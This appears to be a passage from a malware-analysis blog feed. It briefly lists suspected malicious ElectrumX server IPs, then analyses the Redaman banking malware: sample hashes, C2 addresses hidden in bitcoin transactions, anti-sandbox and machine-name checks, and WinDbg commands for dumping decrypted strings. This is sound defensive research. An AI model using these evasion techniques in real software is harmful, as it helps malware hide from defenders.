srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlLMQ6wVCfNyEcZyhR1NtbzDKnLco95nfRxxFIoZzg_TETrmHwHlwPJyVlwKM9ALHn0cVJ4iuta5PrpR7FH2Jvw31gptkZzwbmNz_9YCy6m-IxUYZQwngtLf5g_bC4KoUSJYC5oJFOg7U/s640/peers1.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlLMQ6wVCfNyEcZyhR1NtbzDKnLco95nfRxxFIoZzg_TETrmHwHlwPJyVlwKM9ALHn0cVJ4iuta5PrpR7FH2Jvw31gptkZzwbmNz_9YCy6m-IxUYZQwngtLf5g_bC4KoUSJYC5oJFOg7U/s640/peers1.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlLMQ6wVCfNyEcZyhR1NtbzDKnLco95nfRxxFIoZzg_TETrmHwHlwPJyVlwKM9ALHn0cVJ4iuta5PrpR7FH2Jvw31gptkZzwbmNz_9YCy6m-IxUYZQwngtLf5g_bC4KoUSJYC5oJFOg7U/s640/peers1.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlLMQ6wVCfNyEcZyhR1NtbzDKnLco95nfRxxFIoZzg_TETrmHwHlwPJyVlwKM9ALHn0cVJ4iuta5PrpR7FH2Jvw31gptkZzwbmNz_9YCy6m-IxUYZQwngtLf5g_bC4KoUSJYC5oJFOg7U/s640/peers1.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p><br><br>Additionally we have been able to collect some peers that have been connected (probably most of the 92.63.*.* are running this patched ElectrumX malicious server):<br><br><br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjReWbY_VBSlFVmqCn1zzRgMPgxB8e_qeMb6G0-x1vdsd2L7UnArQWnVHdf8t_3X7Y-VsWNXZjZOjprzGxFWv6b-5ibh7CU_duXNN18x_yzSJStChEqlA0euH_hPDLvIZaqUaBlvt0GRaM/s640/peers2.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjReWbY_VBSlFVmqCn1zzRgMPgxB8e_qeMb6G0-x1vdsd2L7UnArQWnVHdf8t_3X7Y-VsWNXZjZOjprzGxFWv6b-5ibh7CU_duXNN18x_yzSJStChEqlA0euH_hPDLvIZaqUaBlvt0GRaM/s640/peers2.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjReWbY_VBSlFVmqCn1zzRgMPgxB8e_qeMb6G0-x1vdsd2L7UnArQWnVHdf8t_3X7Y-VsWNXZjZOjprzGxFWv6b-5ibh7CU_duXNN18x_yzSJStChEqlA0euH_hPDLvIZaqUaBlvt0GRaM/s640/peers2.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjReWbY_VBSlFVmqCn1zzRgMPgxB8e_qeMb6G0-x1vdsd2L7UnArQWnVHdf8t_3X7Y-VsWNXZjZOjprzGxFWv6b-5ibh7CU_duXNN18x_yzSJStChEqlA0euH_hPDLvIZaqUaBlvt0GRaM/s640/peers2.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjReWbY_VBSlFVmqCn1zzRgMPgxB8e_qeMb6G0-x1vdsd2L7UnArQWnVHdf8t_3X7Y-VsWNXZjZOjprzGxFWv6b-5ibh7CU_duXNN18x_yzSJStChEqlA0euH_hPDLvIZaqUaBlvt0GRaM/s640/peers2.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjReWbY_VBSlFVmqCn1zzRgMPgxB8e_qeMb6G0-x1vdsd2L7UnArQWnVHdf8t_3X7Y-VsWNXZjZOjprzGxFWv6b-5ibh7CU_duXNN18x_yzSJStChEqlA0euH_hPDLvIZaqUaBlvt0GRaM/s640/peers2.png" width="640" height="464" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjReWbY_VBSlFVmqCn1zzRgMPgxB8e_qeMb6G0-x1vdsd2L7UnArQWnVHdf8t_3X7Y-VsWNXZjZOjprzGxFWv6b-5ibh7CU_duXNN18x_yzSJStChEqlA0euH_hPDLvIZaqUaBlvt0GRaM/s640/peers2.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:464,&quot;width&quot;:640,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjReWbY_VBSlFVmqCn1zzRgMPgxB8e_qeMb6G0-x1vdsd2L7UnArQWnVHdf8t_3X7Y-VsWNXZjZOjprzGxFWv6b-5ibh7CU_duXNN18x_yzSJStChEqlA0euH_hPDLvIZaqUaBlvt0GRaM/s640/peers2.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjReWbY_VBSlFVmqCn1zzRgMPgxB8e_qeMb6G0-x1vdsd2L7UnArQWnVHdf8t_3X7Y-VsWNXZjZOjprzGxFWv6b-5ibh7CU_duXNN18x_yzSJStChEqlA0euH_hPDLvIZaqUaBlvt0GRaM/s640/peers2.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjReWbY_VBSlFVmqCn1zzRgMPgxB8e_qeMb6G0-x1vdsd2L7UnArQWnVHdf8t_3X7Y-VsWNXZjZOjprzGxFWv6b-5ibh7CU_duXNN18x_yzSJStChEqlA0euH_hPDLvIZaqUaBlvt0GRaM/s640/peers2.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjReWbY_VBSlFVmqCn1zzRgMPgxB8e_qeMb6G0-x1vdsd2L7UnArQWnVHdf8t_3X7Y-VsWNXZjZOjprzGxFWv6b-5ibh7CU_duXNN18x_yzSJStChEqlA0euH_hPDLvIZaqUaBlvt0GRaM/s640/peers2.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p><br><br>Here is the <a href="https://pastebin.com/WGQTbdqz">full list</a>&nbsp;in text format of the servers that we have been able to collect.<br><br></p>]]></content:encoded></item><item><title><![CDATA[Brief analysis of Redaman Banking Malware (v0.6.0.2) Sample]]></title><description><![CDATA[Redaman is a well-known banking malware, discovered around 2015.]]></description><link>https://www.peppermalware.com/p/brief-analysis-of-redaman-banking</link><guid isPermaLink="false">https://www.peppermalware.com/p/brief-analysis-of-redaman-banking</guid><dc:creator><![CDATA[PepperMalware]]></dc:creator><pubDate>Tue, 05 Nov 2019 15:24:00 GMT</pubDate><enclosure url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj09OiDGP_w0-pF0o-grmH3Nt6bOu2xBfSSaLuJopWHAuG0ZIpG6zeiZYGegQpO5uLvKnK8j4J7O0n-iUnGQcLkJzWWLnsuYVdgeJbx4FbobrYKD6WBRnO6YfpLLxqsXjBJBfjIylFdOvo/s640/computername_trick.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Redaman is a well-known banking malware, discovered around 2015. Recently I have been analyzing a recent version of the malware (0.6.0.2, not sure if latest version, probably one of the newest). This malware uses some interesting tricks probably introduced in these recent versions. In this post I share some notes about the analysis.<br><br> <br></p><ul><li><p><strong>Original Packed Sample:&nbsp;</strong><a href="https://www.hybrid-analysis.com/sample/b1b2d242c4d43e15ba66c7ae9c8bb317c7d8dcacacb5005f368c554ec844b035">2b251483ed7705c60ee12b561280a1fc</a></p></li><li><p><strong>Unpacked Sample (dll):</strong>&nbsp;<a href="https://app.any.run/tasks/67a9a525-267b-45b1-9642-5032d5b428aa">2a298a650b50eb89041548e57d72f726</a></p></li><li><p><strong>Virustotal First Submission:</strong>&nbsp;2019-10-11 10:35:13</p></li><li><p><strong>Related links:</strong></p><ul><li><p><a href="https://research.checkpoint.com/2019/ponys-cc-servers-hidden-inside-the-bitcoin-blockchain/">https://research.checkpoint.com/2019/ponys-cc-servers-hidden-inside-the-bitcoin-blockchain/</a></p></li><li><p><a href="https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/">https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/</a></p></li><li><p><a href="https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf">https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf</a></p></li></ul></li></ul><h2>Analysis</h2><ul><li><p>1. Anti-analysis tricks</p><ul><li><p>1.1. C2 encoded into bitcoin transactions</p></li><li><p>1.2. Checks machine name vs user name</p></li><li><p>1.3. Encrypted strings</p></li><li><p>1.4. Unpacked module needs correct argument to work properly</p></li><li><p>1.5. Checks for typical sandboxes files, directories, processes...</p></li><li><p>1.6. Checks for security products</p></li><li><p>1.7. Disable Safeboot</p></li></ul></li><li><p>2. Bot commands and malware capabilities</p></li><li><p>3. Yara rules</p></li><li><p>4. List of encrypted strings</p></li></ul><h3>1. Anti-analysis tricks</h3><p><strong>1.1. C2 encoded into bitcoin transactions</strong></p><p>This trick, discovered by checkpoint and <a href="https://research.checkpoint.com/2019/ponys-cc-servers-hidden-inside-the-bitcoin-blockchain/">explained in this post</a>, is really interesting. The malware gets the C2 addresses from the bitcoin blockchain. The malware doesn't carry C2 addresses into the binary. It carries (in the list of encrypted strings)&nbsp;some urls of some services offering APIs related to bitcoin blockchain:</p><ul><li><p>"<strong>viabtc.com</strong>"</p><ul><li><p>"/res/btc/transactions/addressv2?address="</p></li></ul></li><li><p>"<strong>api.blockcypher.com</strong>"</p><ul><li><p>"/v1/btc/main/addrs/"</p></li><li><p>"?limit=10"</p></li></ul></li><li><p>"<strong>blockchain.info</strong>"</p><ul><li><p>"/rawaddr/"</p></li></ul></li><li><p>"<strong>blockchain.coinmarketcap.com</strong>"</p><ul><li><p>"/api/address?address="</p></li><li><p>"&amp;symbol=BTC&amp;start=1&amp;limit=10"</p></li></ul></li></ul><p> Additionally, it carries another encrypted string with the C2 schema, a bitcoin address and the C2 uri:</p><ul><li><p>"http://<strong>1N9ALZUgqYzFQGDXvMY5j1c7PGMMGYqUde</strong>/index.php"&nbsp;</p></li></ul><p> Then, the malware composes the blockchain API url, and queries the transactions for the given bitcoin address, for example:</p><p><a href="https://api.blockcypher.com/v1/btc/main/addrs/1N9ALZUgqYzFQGDXvMY5j1c7PGMMGYqUde?limit=10">https://api.blockcypher.com/v1/btc/main/addrs/1N9ALZUgqYzFQGDXvMY5j1c7PGMMGYqUde?limit=10</a></p><p><br>(Find a copy of the json response here:&nbsp;<a href="https://pastebin.com/rC9pF2F2">https://pastebin.com/rC9pF2F2</a>)</p><p> The malware uses some fields of this json response (exactly the values of the transactions) to compose the C2 addresses, as explained in the following image (click on the image to expand):</p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLNw9DhjQ_naala5rL9JMj_CIAM38um7-WtAFPS1RCxZArBj__-uyBBpnb1YvXqdDdO1kLEjn8bHdjVaUtiKfdH6yvV6yertpGq0LlOz3PJpztwBj296UfEfRzXebKG6-65O_wO3S9gtw/s400/_c2fromtransaction.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLNw9DhjQ_naala5rL9JMj_CIAM38um7-WtAFPS1RCxZArBj__-uyBBpnb1YvXqdDdO1kLEjn8bHdjVaUtiKfdH6yvV6yertpGq0LlOz3PJpztwBj296UfEfRzXebKG6-65O_wO3S9gtw/s400/_c2fromtransaction.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLNw9DhjQ_naala5rL9JMj_CIAM38um7-WtAFPS1RCxZArBj__-uyBBpnb1YvXqdDdO1kLEjn8bHdjVaUtiKfdH6yvV6yertpGq0LlOz3PJpztwBj296UfEfRzXebKG6-65O_wO3S9gtw/s400/_c2fromtransaction.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLNw9DhjQ_naala5rL9JMj_CIAM38um7-WtAFPS1RCxZArBj__-uyBBpnb1YvXqdDdO1kLEjn8bHdjVaUtiKfdH6yvV6yertpGq0LlOz3PJpztwBj296UfEfRzXebKG6-65O_wO3S9gtw/s400/_c2fromtransaction.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLNw9DhjQ_naala5rL9JMj_CIAM38um7-WtAFPS1RCxZArBj__-uyBBpnb1YvXqdDdO1kLEjn8bHdjVaUtiKfdH6yvV6yertpGq0LlOz3PJpztwBj296UfEfRzXebKG6-65O_wO3S9gtw/s400/_c2fromtransaction.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLNw9DhjQ_naala5rL9JMj_CIAM38um7-WtAFPS1RCxZArBj__-uyBBpnb1YvXqdDdO1kLEjn8bHdjVaUtiKfdH6yvV6yertpGq0LlOz3PJpztwBj296UfEfRzXebKG6-65O_wO3S9gtw/s400/_c2fromtransaction.png" width="400" height="286" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLNw9DhjQ_naala5rL9JMj_CIAM38um7-WtAFPS1RCxZArBj__-uyBBpnb1YvXqdDdO1kLEjn8bHdjVaUtiKfdH6yvV6yertpGq0LlOz3PJpztwBj296UfEfRzXebKG6-65O_wO3S9gtw/s400/_c2fromtransaction.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:286,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLNw9DhjQ_naala5rL9JMj_CIAM38um7-WtAFPS1RCxZArBj__-uyBBpnb1YvXqdDdO1kLEjn8bHdjVaUtiKfdH6yvV6yertpGq0LlOz3PJpztwBj296UfEfRzXebKG6-65O_wO3S9gtw/s400/_c2fromtransaction.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLNw9DhjQ_naala5rL9JMj_CIAM38um7-WtAFPS1RCxZArBj__-uyBBpnb1YvXqdDdO1kLEjn8bHdjVaUtiKfdH6yvV6yertpGq0LlOz3PJpztwBj296UfEfRzXebKG6-65O_wO3S9gtw/s400/_c2fromtransaction.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLNw9DhjQ_naala5rL9JMj_CIAM38um7-WtAFPS1RCxZArBj__-uyBBpnb1YvXqdDdO1kLEjn8bHdjVaUtiKfdH6yvV6yertpGq0LlOz3PJpztwBj296UfEfRzXebKG6-65O_wO3S9gtw/s400/_c2fromtransaction.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLNw9DhjQ_naala5rL9JMj_CIAM38um7-WtAFPS1RCxZArBj__-uyBBpnb1YvXqdDdO1kLEjn8bHdjVaUtiKfdH6yvV6yertpGq0LlOz3PJpztwBj296UfEfRzXebKG6-65O_wO3S9gtw/s400/_c2fromtransaction.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p> The threat actor only needs to perform some new transaction with the given bitcoin address to update the C2 list.</p><p> This is quite interesting. A malware could be keeping all kind of information and configs in the blockchain. It could use these APIs such as api.blockcypher.com, etc... or it could download the blockchain to get all the transactions directly from the blockchain and recover all the needed information.</p><p> A domain can be sinkholed, but, using this method, it would be hard to forbid the malware to get updates.</p><p><strong>1.2. Checks machine name vs user name</strong></p><p> This is another trick, quite aggresive, that I hadn't seen before. Basically, the malware gets tthe computer name and the user name. It removes the "-PC" suffix from the computer name, the in compares the computer name (without -PC) with the username (uppercase). If they are the same, exit.<br><br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj09OiDGP_w0-pF0o-grmH3Nt6bOu2xBfSSaLuJopWHAuG0ZIpG6zeiZYGegQpO5uLvKnK8j4J7O0n-iUnGQcLkJzWWLnsuYVdgeJbx4FbobrYKD6WBRnO6YfpLLxqsXjBJBfjIylFdOvo/s640/computername_trick.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj09OiDGP_w0-pF0o-grmH3Nt6bOu2xBfSSaLuJopWHAuG0ZIpG6zeiZYGegQpO5uLvKnK8j4J7O0n-iUnGQcLkJzWWLnsuYVdgeJbx4FbobrYKD6WBRnO6YfpLLxqsXjBJBfjIylFdOvo/s640/computername_trick.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj09OiDGP_w0-pF0o-grmH3Nt6bOu2xBfSSaLuJopWHAuG0ZIpG6zeiZYGegQpO5uLvKnK8j4J7O0n-iUnGQcLkJzWWLnsuYVdgeJbx4FbobrYKD6WBRnO6YfpLLxqsXjBJBfjIylFdOvo/s640/computername_trick.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj09OiDGP_w0-pF0o-grmH3Nt6bOu2xBfSSaLuJopWHAuG0ZIpG6zeiZYGegQpO5uLvKnK8j4J7O0n-iUnGQcLkJzWWLnsuYVdgeJbx4FbobrYKD6WBRnO6YfpLLxqsXjBJBfjIylFdOvo/s640/computername_trick.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj09OiDGP_w0-pF0o-grmH3Nt6bOu2xBfSSaLuJopWHAuG0ZIpG6zeiZYGegQpO5uLvKnK8j4J7O0n-iUnGQcLkJzWWLnsuYVdgeJbx4FbobrYKD6WBRnO6YfpLLxqsXjBJBfjIylFdOvo/s640/computername_trick.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj09OiDGP_w0-pF0o-grmH3Nt6bOu2xBfSSaLuJopWHAuG0ZIpG6zeiZYGegQpO5uLvKnK8j4J7O0n-iUnGQcLkJzWWLnsuYVdgeJbx4FbobrYKD6WBRnO6YfpLLxqsXjBJBfjIylFdOvo/s640/computername_trick.png" width="640" height="304" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj09OiDGP_w0-pF0o-grmH3Nt6bOu2xBfSSaLuJopWHAuG0ZIpG6zeiZYGegQpO5uLvKnK8j4J7O0n-iUnGQcLkJzWWLnsuYVdgeJbx4FbobrYKD6WBRnO6YfpLLxqsXjBJBfjIylFdOvo/s640/computername_trick.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:304,&quot;width&quot;:640,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj09OiDGP_w0-pF0o-grmH3Nt6bOu2xBfSSaLuJopWHAuG0ZIpG6zeiZYGegQpO5uLvKnK8j4J7O0n-iUnGQcLkJzWWLnsuYVdgeJbx4FbobrYKD6WBRnO6YfpLLxqsXjBJBfjIylFdOvo/s640/computername_trick.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj09OiDGP_w0-pF0o-grmH3Nt6bOu2xBfSSaLuJopWHAuG0ZIpG6zeiZYGegQpO5uLvKnK8j4J7O0n-iUnGQcLkJzWWLnsuYVdgeJbx4FbobrYKD6WBRnO6YfpLLxqsXjBJBfjIylFdOvo/s640/computername_trick.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj09OiDGP_w0-pF0o-grmH3Nt6bOu2xBfSSaLuJopWHAuG0ZIpG6zeiZYGegQpO5uLvKnK8j4J7O0n-iUnGQcLkJzWWLnsuYVdgeJbx4FbobrYKD6WBRnO6YfpLLxqsXjBJBfjIylFdOvo/s640/computername_trick.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj09OiDGP_w0-pF0o-grmH3Nt6bOu2xBfSSaLuJopWHAuG0ZIpG6zeiZYGegQpO5uLvKnK8j4J7O0n-iUnGQcLkJzWWLnsuYVdgeJbx4FbobrYKD6WBRnO6YfpLLxqsXjBJBfjIylFdOvo/s640/computername_trick.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p>Frequently, real usual users' machines have computer names like&nbsp;DESKTOP-JMP24OS, etc... I suppose with this aggresive trick the malware tries to avoid being executed in sandboxes, AV emulators, etc...</p><p><strong>1.3. Encrypted strings</strong></p><p> As explained at&nbsp;<a href="https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf">welivesecurity</a>' article, the malware decrypts the strings that it is going to use by using a custom rc4 algorithm.</p><p> Here, Im just going to explain how I got the decrypted urls directly from memory and Im going to share the script that I used to add IDA comments automatically. I used the following Windbg commands to dump all the decrypted strings and their positions in the strings' table:</p><blockquote><p>bp &lt;base_unpacked_mod&gt; + 291F5&nbsp; (at this point, strings were decrypted a moment ago)</p></blockquote><p> Print decrypted ascii strings:</p><blockquote><p>.for ($t0=0;@$t0&lt;0x18b;r $t0=@$t0+1){ .printf "%d ",4*@$t0; da poi (&lt;base_unpacked_mod&gt;+2C93C+4*@$t0); .printf "\r\n"; }</p></blockquote><p> Print decrypted unicode strings:</p><blockquote><p>.for ($t0=0;@$t0&lt;0xb6;r $t0=@$t0+1){ .printf "%d ",4*@$t0; du poi (&lt;base_unpacked_mod&gt;+2CF68+4*@$t0); .printf "\r\n"; }</p></blockquote><p> With these commands, i got the list of strings (ascii and unicode), and I used the following IDA python script to set comments foreach part of the code where these strings are being used:<br><br></p><p><strong>1.4. Unpacked module needs correct argument to work properly</strong></p><p> Once the malware is unpacked, the real redaman dll is launched with rundll32 and DllGetClassObject method is called, and an argument is given:</p><blockquote><p>rundll32 &lt;redaman dll path&gt;, DllGetClassObject &lt;password&gt;</p></blockquote><p> The given password needs to be correct, if it is not correct, the encrypted strings cant be decrypted and the malware exits.</p><p><strong>1.5.&nbsp;Checks for typical sandboxes files, directories, processes...</strong></p><p> It checks for the following files or directories at c:\ or d:\ : cuckoo, fake_drive, strawberry, tsl, targets.xls, perl, wget.exe<br><br><br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjil5eYJ8aBcCwyenWL-AS97CnoBiLT7LhF0PGtvc2kyZ0Zn9QtsxnnWr3m6pvfp4L8wRnDlCQef-9bRBeQFs_fbUpwXpTzBdku_XXT1EGdaCv44csBs1L4Dj56q4X7Er6GJ72YypQkIM/s640/check_files_c_d.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjil5eYJ8aBcCwyenWL-AS97CnoBiLT7LhF0PGtvc2kyZ0Zn9QtsxnnWr3m6pvfp4L8wRnDlCQef-9bRBeQFs_fbUpwXpTzBdku_XXT1EGdaCv44csBs1L4Dj56q4X7Er6GJ72YypQkIM/s640/check_files_c_d.png 424w, 